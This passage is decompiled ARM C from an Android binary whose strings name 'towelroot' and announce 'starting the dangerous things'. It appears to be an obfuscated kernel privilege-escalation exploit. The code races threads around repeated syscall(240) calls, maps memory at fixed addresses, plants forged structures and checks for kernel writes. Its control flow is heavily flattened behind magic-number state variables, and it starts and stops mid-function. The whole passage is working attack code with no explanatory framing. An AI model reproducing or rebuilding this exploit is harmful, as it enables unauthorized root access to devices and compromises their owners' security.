int v20; // r4@46
signed int v21; // r8@70
signed int v22; // r9@70
signed int v23; // r10@70
signed int v24; // r0@76
signed int v25; // r1@76
char v26; // zf@81
char *v27; // r0@92
int *v28; // r0@98
int v29; // r1@98
int v30; // r0@98
int v31; // r0@98
int v32; // t1@100
signed int v33; // r0@103
signed int v34; // r1@103
signed int v35; // r0@106
signed int v36; // r1@106
char *v37; // r0@119
signed int v38; // r12@125
int v39; // r0@125
int v40; // r2@125
int v41; // r3@125
int v42; // r1@125
char *v43; // r0@138
int v44; // r0@148
signed int v45; // lr@149
signed int v46; // r12@157
int v47; // r0@157
int v48; // r2@157
int v49; // r3@157
int v50; // r1@157
signed int v51; // r12@158
int v52; // r0@158
int v53; // r2@158
int v54; // r3@158
int v55; // r1@158
int v56; // r0@162
signed int v57; // lr@163
int v58; // r0@167
signed int v59; // lr@168
int v60; // t1@174
int v61; // r0@174
int v62; // r0@175
int *v63; // r3@175
int v64; // r0@175
int v65; // r0@175
int v66; // r0@184
void *v67; // r1@188
signed int v68; // r12@207
int v69; // r0@207
int v70; // r2@207
int v71; // r3@207
int v72; // r1@207
int v73; // r0@211
signed int v74; // lr@212
signed int v75; // r0@230
signed int v76; // r1@230
char v77; // r0@233
char *v78; // r0@248
int v79; // r0@254
void *v80; // r1@254
int v81; // r3@254
int v82; // r0@254
signed int v83; // r0@261
signed int v84; // r1@261
char *v85; // r0@277
signed int v86; // r0@291
signed int v87; // r1@291
int v88; // r0@294
char *v89; // r0@308
int v90; // r0@314
unsigned __int8 v91; // nf@314
unsigned __int8 v92; // vf@314
int *v93; // r12@329
int v94; // r2@329
int v95; // r3@329
int v96; // r1@329
int v97; // r0@329
int v98; // r0@329
signed int v99; // r3@335
signed int v100; // r2@335
signed int v101; // lr@340
signed int v102; // r12@340
signed int v103; // r1@343
signed int v104; // r0@351
signed int v105; // r1@353
signed int v106; // r12@391
int v107; // r0@391
int v108; // r2@391
int v109; // r3@391
int v110; // r1@391
int v111; // r0@395
signed int v112; // lr@396
char v113; // r0@416
signed int v114; // r12@421
int v115; // r0@421
int v116; // r2@421
int v117; // r3@421
int v118; // r1@421
signed int v119; // r2@424
int v120; // r0@424
int v121; // r0@425
signed int v122; // lr@426
signed int v123; // r1@436
signed int v124; // r0@444
int v125; // r2@445
signed int v126; // r1@446
signed int v127; // r0@447
int v128; // r0@452
int *v129; // r3@452
int v130; // r1@452
int v131; // r0@452
int v132; // t1@468
signed int v133; // r0@469
signed int v134; // r1@469
signed int v135; // r1@470
char *v136; // r0@485
char v137; // r0@490
int v139; // [sp+0h] [bp-21B8h]@13
int v140; // [sp+4h] [bp-21B4h]@13
int v141; // [sp+8h] [bp-21B0h]@13
int v142; // [sp+Ch] [bp-21ACh]@335
int v143; // [sp+10h] [bp-21A8h]@13
int v144; // [sp+14h] [bp-21A4h]@76
int v145; // [sp+18h] [bp-21A0h]@76
int v146; // [sp+1Ch] [bp-219Ch]@424
int v147; // [sp+20h] [bp-2198h]@424
int v148; // [sp+24h] [bp-2194h]@424
int v149; // [sp+28h] [bp-2190h]@335
int v150; // [sp+2Ch] [bp-218Ch]@175
int v151; // [sp+30h] [bp-2188h]@125
int v152; // [sp+40h] [bp-2178h]@335
FILE *v153; // [sp+48h] [bp-2170h]@76
int *v154; // [sp+4Ch] [bp-216Ch]@1
const char *v155; // [sp+50h] [bp-2168h]@1
int *v156; // [sp+54h] [bp-2164h]@1
_UNKNOWN *v157; // [sp+58h] [bp-2160h]@1
void ***v158; // [sp+5Ch] [bp-215Ch]@1
int *v159; // [sp+60h] [bp-2158h]@1
int *v160; // [sp+64h] [bp-2154h]@1
_UNKNOWN *v161; // [sp+68h] [bp-2150h]@1
_UNKNOWN *v162; // [sp+6Ch] [bp-214Ch]@1
_UNKNOWN *v163; // [sp+70h] [bp-2148h]@1
_UNKNOWN *v164; // [sp+74h] [bp-2144h]@1
void ***v165; // [sp+78h] [bp-2140h]@1
int *v166; // [sp+7Ch] [bp-213Ch]@1
const char *v167; // [sp+80h] [bp-2138h]@1
int *v168; // [sp+84h] [bp-2134h]@1
_UNKNOWN *v169; // [sp+88h] [bp-2130h]@1
const char *v170; // [sp+8Ch] [bp-212Ch]@1
int *v171; // [sp+90h] [bp-2128h]@1
const char *v172; // [sp+94h] [bp-2124h]@1
_UNKNOWN *v173; // [sp+98h] [bp-2120h]@1
int *v174; // [sp+9Ch] [bp-211Ch]@1
void **v175; // [sp+A0h] [bp-2118h]@1
int *v176; // [sp+A4h] [bp-2114h]@1
_UNKNOWN *v177; // [sp+A8h] [bp-2110h]@1
const char *v178; // [sp+ACh] [bp-210Ch]@1
_UNKNOWN *v179; // [sp+B0h] [bp-2108h]@1
int *v180; // [sp+B4h] [bp-2104h]@1
_UNKNOWN *v181; // [sp+B8h] [bp-2100h]@1
_UNKNOWN *v182; // [sp+BCh] [bp-20FCh]@1
void **v183; // [sp+C0h] [bp-20F8h]@1
_UNKNOWN *v184; // [sp+C4h] [bp-20F4h]@1
_UNKNOWN *v185; // [sp+C8h] [bp-20F0h]@1
const char *v186; // [sp+CCh] [bp-20ECh]@1
int *v187; // [sp+D0h] [bp-20E8h]@1
_UNKNOWN *v188; // [sp+D4h] [bp-20E4h]@1
const char *v189; // [sp+D8h] [bp-20E0h]@1
int *v190; // [sp+DCh] [bp-20DCh]@1
_UNKNOWN *v191; // [sp+E0h] [bp-20D8h]@1
int *v192; // [sp+E4h] [bp-20D4h]@1
_UNKNOWN *v193; // [sp+E8h] [bp-20D0h]@1
_UNKNOWN *v194; // [sp+ECh] [bp-20CCh]@1
const char *v195; // [sp+F0h] [bp-20C8h]@1
int *v196; // [sp+F4h] [bp-20C4h]@1
const char *v197; // [sp+F8h] [bp-20C0h]@1
_UNKNOWN *v198; // [sp+FCh] [bp-20BCh]@1
int *v199; // [sp+100h] [bp-20B8h]@1
const char *v200; // [sp+104h] [bp-20B4h]@1
_UNKNOWN *v201; // [sp+108h] [bp-20B0h]@1
int *v202; // [sp+10Ch] [bp-20ACh]@1
_UNKNOWN *v203; // [sp+110h] [bp-20A8h]@1
_UNKNOWN *v204; // [sp+114h] [bp-20A4h]@1
int *v205; // [sp+118h] [bp-20A0h]@1
const char *v206; // [sp+11Ch] [bp-209Ch]@1
const char *v207; // [sp+120h] [bp-2098h]@1
const char *v208; // [sp+124h] [bp-2094h]@1
_UNKNOWN *v209; // [sp+128h] [bp-2090h]@1
void ***v210; // [sp+12Ch] [bp-208Ch]@1
_UNKNOWN *v211; // [sp+130h] [bp-2088h]@1
_UNKNOWN *v212; // [sp+134h] [bp-2084h]@1
int *v213; // [sp+138h] [bp-2080h]@1
_UNKNOWN *v214; // [sp+13Ch] [bp-207Ch]@1
_UNKNOWN *v215; // [sp+140h] [bp-2078h]@1
const char *v216; // [sp+144h] [bp-2074h]@1
int v217; // [sp+148h] [bp-2070h]@1
void **v218; // [sp+14Ch] [bp-206Ch]@1
int v219; // [sp+150h] [bp-2068h]@1
int v220; // [sp+190h] [bp-2028h]@92
int v221; // [sp+1190h] [bp-1028h]@76
int v222; // [sp+2190h] [bp-28h]@76
int v223; // [sp+2194h] [bp-24h]@80
unsigned int v224; // [sp+2198h] [bp-20h]@1

v0 = &v219;
v1 = -1906617130;
v218 = &swag2;
v2 = -1808228723;
v217 = (int)"towelroot";
v216 = "using MAGIC_ALT ";
v215 = &MAGIC_ALT;
v214 = &MAGIC;
v213 = &HACKS_final_stack_base;
v212 = &is_thread_awake_lock;
v211 = &is_thread_awake;
v210 = &ph;
v209 = &waiter_thread_tid;
v208 = "/proc/self/task/%d/status";
v207 = "rb";
v224 = 0xFFFFFFBC;
v206 = "voluntary_ctxt_switches";
v205 = &GLOBAL_OFFSET_TABLE_;
v204 = &do_socket_tid_read;
v203 = &did_socket_tid_read;
v202 = &GLOBAL_OFFSET_TABLE_;
v201 = &did_splice_tid_read;
v200 = "voluntary_ctxt_switches";
v199 = &GLOBAL_OFFSET_TABLE_;
v198 = &did_socket_tid_read;
v197 = "voluntary_ctxt_switches";
v196 = &GLOBAL_OFFSET_TABLE_;
v195 = "starting the dangerous things ";
v194 = &MAGIC;
v193 = &MAGIC;
v192 = &GLOBAL_OFFSET_TABLE_;
v191 = &is_kernel_writing;
v190 = &GLOBAL_OFFSET_TABLE_;
v189 = "%p is a good number ";
v188 = &do_splice_tid_read;
v187 = &GLOBAL_OFFSET_TABLE_;
v186 = "GOING ";
v185 = &HACKS_fdm;
v184 = &do_splice_tid_read;
v183 = &swag2;
v182 = &MAGIC;
v181 = &MAGIC;
v180 = &GLOBAL_OFFSET_TABLE_;
v3 = -1947206001;
v179 = &did_splice_tid_read;
v178 = "voluntary_ctxt_switches";
v177 = &do_socket_tid_read;
v176 = &GLOBAL_OFFSET_TABLE_;
v175 = &swag;
v174 = &GLOBAL_OFFSET_TABLE_;
v173 = &did_socket_tid_read;
v172 = "voluntary_ctxt_switches";
v171 = &GLOBAL_OFFSET_TABLE_;
v170 = "voluntary_ctxt_switches";
v4 = -1828017780;
v169 = &do_socket_tid_read;
v168 = &GLOBAL_OFFSET_TABLE_;
v5 = -1808228722;
v167 = "%p is also a good number ";
v166 = &GLOBAL_OFFSET_TABLE_;
v165 = &ph;
v164 = &MAGIC;
v163 = &MAGIC;
v162 = &MAGIC;
v161 = &do_splice_tid_read;
v160 = &GLOBAL_OFFSET_TABLE_;
v6 = 2141699670;
v159 = &GLOBAL_OFFSET_TABLE_;
v7 = -1716600560;
v158 = &ph;
v8 = 2133560833;
v157 = &MAGIC;
v156 = &GLOBAL_OFFSET_TABLE_;
v155 = "voluntary_ctxt_switches";
v9 = -1906617131;
v154 = &GLOBAL_OFFSET_TABLE_;
v10 = -74850550;
do
{
while ( 1 )
{
while ( v10 <= v9 )
{
if ( v10 == v3 )
{
*(_DWORD *)v0[5] = 0;
*(_DWORD *)v0[6] = 0;
v10 = -1697529350;
}
}
if ( v10 <= -1828017781 )
break;
if ( v10 > v2 )
{
if ( v10 > -1716600561 )
{
if ( v10 > -1699267299 )
{
if ( v10 > 2141699669 )
{
if ( v10 == v6 )
v10 = 588192939;
}
else if ( v10 > 2133560832 )
{
if ( v10 == v8 )
LABEL_373:
v10 = -930232672;
}
else if ( v10 > -1697529351 )
{
if ( v10 > -1691663691 )
{
if ( v10 > -1650856874 )
{
if ( v10 > -1604560888 )
{
if ( v10 > -1318572318 )
{
if ( v10 > -1287756419 )
{
if ( v10 > -1242965122 )
{
if ( v10 > -1196015652 )
{
if ( v10 > -1073565833 )
{
if ( v10 > -956359573 )
{
if ( v10 > -952162116 )
{
if ( v10 > -938317266 )
{
if ( v10 > -930232673 )
{
if ( v10 > -874358362 )
{
if ( v10 > -660755355 )
{
if ( v10 > -546239533 )
{
if ( v10 > -506989468 )
{
if ( v10 > -466607927 )
{
if ( v10 > -380872211 )
{
if ( v10 > -374329840 )
{
if ( v10 > -340826676 )
{
if ( v10 > -289155923 )
{
if ( v10 > -225808800 )
{
if ( v10 > -209519437 )
{
if ( v10 > -119219076 )
{
if ( v10 > -79839948 )
{
if ( v10 > -74850551 )
{
if ( v10 > -58367390 )
{
if ( v10 > 183057155 )
{
if ( v10 > 187926726 )
{
if ( v10 > 226419516 )
{
if ( v10 > 228749051 )
{
if ( v10 > 270675625 )
{
if ( v10 > 311940051 )
{
if ( v10 > 330154358 )
{
if ( v10 > 334902092 )
{
if ( v10 > 377318880 )
{
if ( v10 > 428346903 )
{
if ( v10 > 447444914 )
{
if ( v10 > 451334947 )
{
if ( v10 > 470593181 )
{
if ( v10 > 474124529 )
{
if ( v10 > 483828252 )
{
if ( v10 > 546983124 )
{
if ( v10 > 563778840 )
{
if ( v10 > 583608473 )
{
if ( v10 > 588192938 )
{
if ( v10 > 673782704 )
{
if ( v10 > 778127935 )
{
if ( v10 > 893510834 )
{
if ( v10 > 966273892 )
{
if ( v10 > 1053938998 )
{
if ( v10 > 1076048010 )
{
if ( v10 > 1079106668 )
{
if ( v10 > 1116116142 )
{
if ( v10 > 1192989988 )
{
if ( v10 > 1229291283 )
{
if ( v10 > 1320175321 )
{
if ( v10 > 1353965049 )
{
if ( v10 > 1439384678 )
{
if ( v10 > 1491141972 )
{
if ( v10 > 1564177083 )
{
if ( v10 > 1578154507 )
{
if ( v10 > 1620415425 )
{
if ( v10 > 1626316962 )
{
if ( v10 > 1647471861 )
{
if ( v10 > 1672960384 )
{
if ( v10 > 1691390262 )
{
if ( v10 > 1735321708 )
{
if ( v10 > 1749543034 )
{
if ( v10 > 1775663916 )
{
if ( v10 > 1778990432 )
{
if ( v10 > 1959034632 )
{
if ( v10 > 2000505560 )
{
if ( v10 == 2000505561 )
{
sprintf((char *)&v221, (const char *)v156 - 123706, *(_DWORD *)*(v156 - 18));
v133 = (signed int)fopen((const char *)&v221, (const char *)v156 - 123680);
v134 = 134304844;
v222 = v133;
v153 = (FILE *)v133;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v134 <= 134304843 )
{
v26 = v134 == -1510328164;
v134 = 665893174;
if ( !v26 )
goto LABEL_510;
}
if ( v134 <= 1550213080 )
break;
v133 = -1;
v26 = v134 == 1550213081;
v134 = -1510328164;
if ( !v26 )
goto LABEL_510;
}
if ( v134 <= 1297895565 )
break;
if ( v134 != 1297895566 )
goto LABEL_510;
fread(&v220, 1u, 0x1000u, v153);
v136 = strstr((const char *)&v220, v155);
v133 = atoi(v136 + 25);
v134 = -1510328164;
}
if ( v134 != 134304844 )
break;
v134 = 1297895566;
if ( !v222 )
v134 = 1550213081;
}
if ( v134 != 665893174 )
break;
v134 = 200673134;
v223 = v133;
}
if ( v134 != 200673134 )
{
while ( 1 )
LABEL_510:
;
}
v137 = 0;
if ( v223 != *(_DWORD *)v0[2] + 1 )
v137 = 1;
*((_BYTE *)v0 + 62) = v137;
v10 = v7;
LABEL_493:
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
}
else
{
if ( v10 == 2105591950 )
{
_android_log_print(4, (char *)v154 - 123957, (const char *)v154 - 123713);
v132 = v0[14];
*(_DWORD *)v0[1] = write(*(_DWORD *)*(v154 - 13), v0[14], 4096);
v10 = -225808799;
goto LABEL_493;
}
LOWORD(v135) = -24946;
if ( v10 == 2106737173 )
v10 = v3;
HIWORD(v135) = -27592;
v5 = v135;
v8 = 2133560833;
v6 = 2141699670;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1959034633 )
goto LABEL_465;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1778990433 )
{
*(_DWORD *)v0[5] = 0;
*(_DWORD *)v0[6] = 0;
v10 = v3;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1775663917 )
goto LABEL_455;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1749543035 )
{
usleep(10);
v5 = -1808228722;
v6 = 2141699670;
v8 = 2133560833;
v9 = -1906617131;
goto LABEL_433;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1735321709 )
{
v147 = *(_DWORD *)v0[8];
v146 = (int)(*v158)[3];
v151 = *(_DWORD *)v0[10];
v150 = v0[10];
v141 = -1;
v142 = 0;
v149 = ((v151 - 4096) ^ 0xFFF) & (v151 - 4096);
v223 = mmap(v149, 0x2000, 7, 49);
v0[16] = v149;
v148 = v151 - 32;
v147 = -(-v147 - v146);
v146 = v151 + 4;
v145 = v151 - 24;
v144 = v151 + 8;
v119 = -1194940496;
v120 = v151 - 32;
v143 = v151 - 32;
while ( 1 )
{
while ( 1 )
{
v123 = v119;
if ( v119 <= 1836687301 )
break;
if ( v119 != 1836687302 )
goto LABEL_442;
v124 = 1688761628;
LABEL_446:
v126 = v124;
while ( 1 )
{
v127 = v126;
if ( v126 == 812142990 )
break;
v126 = -480229266;
if ( v127 != 1688761628 )
{
if ( v127 != -480229266 )
{
while ( 1 )
;
}
v125 = v148;
*(_DWORD *)(v148 - 4) = 129;
*(_DWORD *)v125 = v151;
*(_DWORD *)(v125 + 8) = v144;
*(_DWORD *)(v125 + 28) = 133;
*(_DWORD *)(v125 + 36) = v143;
*(_DWORD *)(v125 + 44) = v145;
v124 = 812142990;
goto LABEL_446;
}
}
*(_DWORD *)v146 = v147;
**(_DWORD **)v157 = v151;
sub_7690(10);
*(_DWORD *)v150 = *(_DWORD *)v146;
munmap(v149, 0x2000);
v120 = 0;
v119 = -1520439446;
}
v119 = 1836687302;
if ( v123 != -2135173377 )
{
if ( v123 == -1194940496 )
{
v119 = -2135173377;
if ( v223 != v0[16] )
v119 = -1293612658;
}
else if ( v123 == -1293612658 )
{
v120 = -1;
v119 = -1727152528;
}
else
{
LABEL_442:
v119 = -1727152528;
if ( v123 != -1520439446 )
{
if ( v123 != -1727152528 )
{
while ( 1 )
;
}
v26 = v120 == 0;
v10 = 187926727;
if ( !v26 )
v10 = 1192989989;
goto LABEL_493;
}
}
}
}
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1691390263 )
{
v151 = *(v160 - 15);
*(_DWORD *)v151 = malloc(4u);
pthread_mutex_init();
v114 = 1688761628;
v115 = *(_DWORD *)*(v160 - 28);
v116 = v115 + 40;
v117 = v115 + 32;
v151 = v115 + 8;
v118 = v115;
while ( 1 )
{
v122 = v114;
if ( v114 == 812142990 )
break;
v114 = -480229266;
if ( v122 != 1688761628 )
{
if ( v122 != -480229266 )
{
while ( 1 )
;
}
*(_DWORD *)(v118 - 4) = 129;
*(_DWORD *)v118 = v117;
*(_DWORD *)(v118 + 8) = v116;
*(_DWORD *)(v118 + 28) = 133;
v121 = v151;
*(_DWORD *)(v118 + 36) = v118;
*(_DWORD *)(v118 + 44) = v121;
v114 = 812142990;
}
}
v128 = sub_7690(11);
v129 = v159;
*(_DWORD *)v0[7] = v128;
*(_DWORD *)v0[8] = **(_DWORD **)*(v129 - 28) & 0xFFFFE000;
_android_log_print(4, (char *)v159 - 123957, (const char *)v159 - 123760, *(_DWORD *)v0[8], v143, v144, v145);
v130 = *(v159 - 17);
*(_DWORD *)*(v159 - 14) = 0;
*(_DWORD *)v130 = 0;
v131 = *(_DWORD *)v0[7];
v151 = *(v159 - 21);
v150 = v131;
pthread_mutex_lock(v151);
kill(v150, 12);
pthread_cond_wait(*(v159 - 20), v151);
pthread_mutex_unlock(v151);
v10 = 893510835;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1672960385 )
{
v113 = 0;
if ( !*(_DWORD *)v161 )
v113 = 1;
*((_BYTE *)v0 + 63) = v113;
v10 = 311940052;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1647471862 )
{
v10 = 1439384679;
if ( *(_DWORD *)v0[12] != 9 )
v10 = -1287756418;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1626316963 )
goto LABEL_408;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1620415426 )
goto LABEL_402;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1578154508 )
v10 = 2000505561;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1564177084 )
{
v106 = 1688761628;
v107 = *(_DWORD *)v163;
v108 = *(_DWORD *)v163 + 32;
v109 = *(_DWORD *)v163 + 40;
v151 = *(_DWORD *)v163 + 8;
v110 = v107;
while ( 1 )
{
v112 = v106;
if ( v106 == 812142990 )
break;
v106 = -480229266;
if ( v112 != 1688761628 )
{
if ( v112 != -480229266 )
{
while ( 1 )
;
}
*(_DWORD *)(v110 - 4) = 129;
*(_DWORD *)v110 = v108;
*(_DWORD *)(v110 + 8) = v109;
*(_DWORD *)(v110 + 28) = 133;
v111 = v151;
*(_DWORD *)(v110 + 36) = v110;
*(_DWORD *)(v110 + 44) = v111;
v106 = 812142990;
}
}
*(_DWORD *)v0[5] = sub_7690(10);
*(_DWORD *)v0[13] = **(_DWORD **)v162;
v10 = 1076048011;
if ( *(_DWORD *)v0[13] < *(_DWORD *)v0[11] )
v10 = 1353965050;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1491141973 )
v10 = -660755354;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1439384679 )
LABEL_455:
v10 = -58367389;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1353965050 )
v10 = 1647471862;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1320175322 )
LABEL_379:
v10 = -1699267298;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1229291284 )
v10 = 1320175322;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1192989989 )
goto LABEL_373;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1116116143 )
LABEL_465:
v10 = 226419517;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1079106669 )
v10 = -225808799;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1076048011 )
{
++*(_DWORD *)v0[12];
LABEL_360:
v10 = 583608474;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 1053938999 )
LABEL_338:
v10 = 1578154508;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 966273893 )
{
v150 = *(_DWORD *)v0[8];
v149 = (int)(*v165)[3];
v151 = v0[10];
v141 = -1;
v142 = 0;
v223 = mmap(12513280, 0x2000, 7, 49);
v0[16] = 12513280;
v100 = -1194940496;
v152 = v150 + v149 + 1;
LABEL_340:
while ( 2 )
{
v101 = v99;
v102 = v100;
while ( 1 )
{
v103 = v102;
if ( v102 > 1836687301 )
break;
v102 = 1836687302;
v100 = -1727152528;
v99 = -1;
if ( v103 != -2135173377 )
{
if ( v103 == -1194940496 )
{
v102 = -2135173377;
if ( v223 != v0[16] )
v102 = -1293612658;
}
else
{
if ( v103 == -1293612658 )
goto LABEL_340;
LABEL_349:
v102 = -1727152528;
if ( v103 != -1520439446 )
{
if ( v103 != -1727152528 )
{
while ( 1 )
;
}
v10 = -1242965121;
if ( v101 )
v10 = 1116116143;
goto LABEL_493;
}
}
}
}
if ( v102 == 1836687302 )
{
v104 = 1688761628;
while ( 1 )
{
v105 = v104;
if ( v104 == 812142990 )
break;
v104 = -480229266;
if ( v105 != 1688761628 )
{
if ( v105 != -480229266 )
{
while ( 1 )
;
}
vBEFFDC = 129;
vBEFFE0 = 12517376;
vBEFFE8 = 12517384;
vBEFFFC = 133;
vBF0004 = 12517344;
vBF000C = 12517352;
v104 = 812142990;
}
}
vBF0004 = v152;
**(_DWORD **)v164 = 12517376;
sub_7690(10);
*(_DWORD *)v151 = vBF0004;
munmap(12513280, 0x2000);
v100 = -1520439446;
v99 = 0;
continue;
}
goto LABEL_349;
}
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 893510835 )
LABEL_332:
v10 = -956359572;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 778127936 )
{
sub_7690(6);
sub_7690(7);
v93 = (int *)*(v166 - 24);
v94 = *(v166 - 23);
v95 = *(v166 - 16);
*(_DWORD *)*v93 = 0;
*(_DWORD *)v94 = 0;
*(_DWORD *)v95 = 0;
v96 = *v93;
v97 = *(_DWORD *)*v93;
v139 = 0;
v140 = v96;
v141 = v97;
v98 = syscall(240, v96, 12, 1);
v6 = 2141699670;
v8 = 2133560833;
v5 = -1808228722;
*(_DWORD *)v0[1] = v98;
v10 = 470593182;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 673782705 )
{
usleep(10);
v5 = -1808228722;
v6 = 2141699670;
v8 = 2133560833;
v9 = -1906617131;
goto LABEL_338;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 588192939 )
{
*(_DWORD *)v0[11] = *(_DWORD *)v0[10];
_android_log_print(4, (char *)v168 - 123957, v167, *(_DWORD *)v0[11], v143, v144, v145);
v6 = 2141699670;
v8 = 2133560833;
v5 = -1808228722;
*(_DWORD *)v0[12] = 0;
*(_DWORD *)v0[13] = -1;
goto LABEL_360;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 583608474 )
{
v90 = *(_DWORD *)v0[12];
v92 = __OFSUB__(v90, 9);
v91 = v90 - 9 < 0;
v10 = 1647471862;
if ( v91 ^ v92 )
v10 = 1564177084;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 563778841 )
{
v88 = *(_DWORD *)v169;
goto LABEL_295;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 546983125 )
{
sprintf((char *)&v221, (const char *)v171 - 123706, *(_DWORD *)v0[7], -1808228722, v143, v144, v145);
v86 = (signed int)fopen((const char *)&v221, (const char *)v171 - 123680);
v87 = 134304844;
v222 = v86;
v153 = (FILE *)v86;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v87 <= 134304843 )
{
v26 = v87 == -1510328164;
v87 = 665893174;
if ( !v26 )
goto LABEL_503;
}
if ( v87 <= 1550213080 )
break;
v86 = -1;
v26 = v87 == 1550213081;
v87 = -1510328164;
if ( !v26 )
goto LABEL_503;
}
if ( v87 <= 1297895565 )
break;
if ( v87 != 1297895566 )
goto LABEL_503;
fread(&v220, 1u, 0x1000u, v153);
v89 = strstr((const char *)&v220, v170);
v86 = atoi(v89 + 25);
v87 = -1510328164;
}
if ( v87 != 134304844 )
break;
v87 = 1297895566;
if ( !v222 )
v87 = 1550213081;
}
if ( v87 != 665893174 )
break;
v87 = 200673134;
v223 = v86;
}
if ( v87 != 200673134 )
{
while ( 1 )
LABEL_503:
;
}
v10 = -1196015651;
if ( v223 != *(_DWORD *)v0[9] + 1 )
v10 = 1749543035;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 483828253 )
goto LABEL_288;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 474124530 )
LABEL_295:
v10 = 428346904;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 470593182 )
goto LABEL_264;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 451334948 )
{
sprintf(
(char *)&v221,
(const char *)v174
- 123706,
*(_DWORD *)*(v174 - 18),
-1808228722,
v143,
v144,
v145);
v83 = (signed int)fopen((const char *)&v221, (const char *)v174 - 123680);
v84 = 134304844;
v222 = v83;
v153 = (FILE *)v83;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v84 <= 134304843 )
{
v26 = v84 == -1510328164;
v84 = 665893174;
if ( !v26 )
goto LABEL_502;
}
if ( v84 <= 1550213080 )
break;
v83 = -1;
v26 = v84 == 1550213081;
v84 = -1510328164;
if ( !v26 )
goto LABEL_502;
}
if ( v84 <= 1297895565 )
break;
if ( v84 != 1297895566 )
goto LABEL_502;
fread(&v220, 1u, 0x1000u, v153);
v85 = strstr((const char *)&v220, v172);
v83 = atoi(v85 + 25);
v84 = -1510328164;
}
if ( v84 != 134304844 )
break;
v84 = 1297895566;
if ( !v222 )
v84 = 1550213081;
}
if ( v84 != 665893174 )
break;
v84 = 200673134;
v223 = v83;
}
if ( v84 != 200673134 )
{
while ( 1 )
LABEL_502:
;
}
*(_DWORD *)v0[2] = v223;
*(_DWORD *)v173 = 1;
v10 = -466607926;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 447444915 )
{
v79 = *(_DWORD *)*(v176 - 24);
v80 = *v175;
v81 = *(_DWORD *)*v175;
v139 = 0;
v140 = v79;
v141 = v81;
v82 = syscall(240, v80, 12, 1);
v6 = 2141699670;
v8 = 2133560833;
v5 = -1808228722;
v26 = v82 == 1;
v10 = 270675626;
if ( !v26 )
v10 = -374329839;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 428346904 )
{
v77 = 0;
if ( !*(_DWORD *)v177 )
v77 = 1;
*((_BYTE *)v0 + 61) = v77;
v10 = -1073565832;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 377318881 )
{
sprintf(
(char *)&v221,
(const char *)v180
+ 0xFFFE1CC6,
*(_DWORD *)v0[7],
-1808228722,
v143,
v144,
v145);
v75 = (signed int)fopen((const char *)&v221, (const char *)v180 + 0xFFFE1CE0);
v76 = 134304844;
v222 = v75;
v153 = (FILE *)v75;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v76 <= 134304843 )
{
v26 = v76 == -1510328164;
v76 = 665893174;
if ( !v26 )
goto LABEL_501;
}
if ( v76 <= 1550213080 )
break;
